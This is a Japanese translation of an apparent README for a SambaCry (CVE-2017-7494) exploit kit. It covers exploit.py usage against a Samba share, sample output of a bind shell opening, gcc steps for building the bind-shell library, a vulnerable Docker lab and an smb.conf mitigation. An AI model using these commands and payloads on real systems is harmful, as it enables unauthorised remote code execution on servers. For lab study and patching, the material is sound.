
SambaCryエクスプロイトと脆弱なコンテナ(CVE-2017-7494)
Samba は、SMB/CIFS ネットワーキングプロトコルのフリーソフトウェアによる再実装です。Samba は、さまざまな Microsoft Windows クライアントに対してファイルサービスおよびプリントサービスを提供し、ドメインコントローラ (DC) またはドメインメンバーとして Microsoft Windows Server ドメインと統合できます。バージョン 4 以降、Active Directory および Microsoft Windows NT ドメインをサポートしています。
4.5.9 およびそれ以前のバージョンの Samba は、SambaCry と呼ばれるリモートコード実行の脆弱性の影響を受けます。CVE-2017-7494 により、リモートの認証済みユーザーが書き込み可能な共有フォルダに共有ライブラリをアップロードし、コード実行攻撃を行って、脆弱な Samba サービスをホストするサーバーを乗っ取ることができます。
Samba 3.5.0 以降の 3.x、4.4.14 より前の 4.x、4.5.10 より前の 4.5.x、および 4.6.4 より前の 4.6.x は、Windows 名前付きパイプを使用する際にファイルパスを制限しないため、リモートの認証済みユーザーが書き込み可能な共有フォルダに共有ライブラリをアップロードし、細工した名前付きパイプを介して任意のコードを実行できる可能性があります。

このエクスプロイトを正しく実行するには、パッチが適用された impacket Python ライブラリと、requirements ファイル内のその他の依存関係が必要です。これらをすべてインストールするには、次を実行してください。
pip install -r requirements.txt
Python3 を使用している場合は、仮想環境でこのソフトウェアを実行する必要があります。次の手順に従ってください。
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # または python2.7 が存在する場所
source venv/bin/activate.sh
その後、次のように実行できます。
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
たとえば、このリポジトリ内の脆弱な環境を攻撃したい場合は、次を実行します。
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
すると、次の出力が得られます。
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
エクスプロイトの引数の説明:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t または —target - 攻撃するリモートホストを設定します。-e または —executable - ロードするライブラリが置かれているローカルシステム上のパスを設定します。-s または —remoteshare - ファイルがコピーされるリモート共有を指定します。-r または —remotepath - リモートシステム上でファイルが置かれている場所を指定します。-u または —user - ログインに使用するユーザー名。-p または —password - ログインに使用するパスワード。-P または —remoteshellport - バインドシェルペイロードを使用する場合、攻撃実行後にペイロードへ接続します。この攻撃をシミュレートするには、脆弱な Docker イメージを使用できます。docker がインストールされている場合は、次を実行するだけです。
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
アクセスする場合は、次の認証情報を使用します。
sambacrynosambanocryこのエクスプロイト用のバインドシェルペイロードの例は、bindshell-samba.c ファイルにあります。必要に応じて変更してください。新しいバイナリを生成するには、次を使用します。
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.5.0 以降の 3.x、4.4.14 より前の 4.x、4.5.10 より前の 4.5.x、および 4.6.4 より前の 4.6.x
smb.conf の [global] セクションに次のパラメータを追加し、smbd を再起動します。
nt pipe support = no
これにより、クライアントが名前付きパイプエンドポイントにアクセスできなくなります。これにより、Windows クライアントの一部の期待される機能が無効になる可能性があることに注意してください。
また、samba が書き込み可能な共有に使用するファイルシステムを noexec オプションでマウントすることも検討してください。
このプログラムおよび前述のプログラムは、教育目的のみを目的としています。許可なく使用しないでください。通常の免責事項が適用されます。特に、私 (opsxcq) は、これらのプログラムによって提供される情報または機能の直接的または間接的な使用によって生じた損害について責任を負いません。著者またはインターネットプロバイダーは、これらのプログラムまたはその派生物の内容または誤用について一切責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって生じた損害 (データ損失、システムクラッシュ、システム侵害など) が opsxcq の責任ではないことを認めたことになります。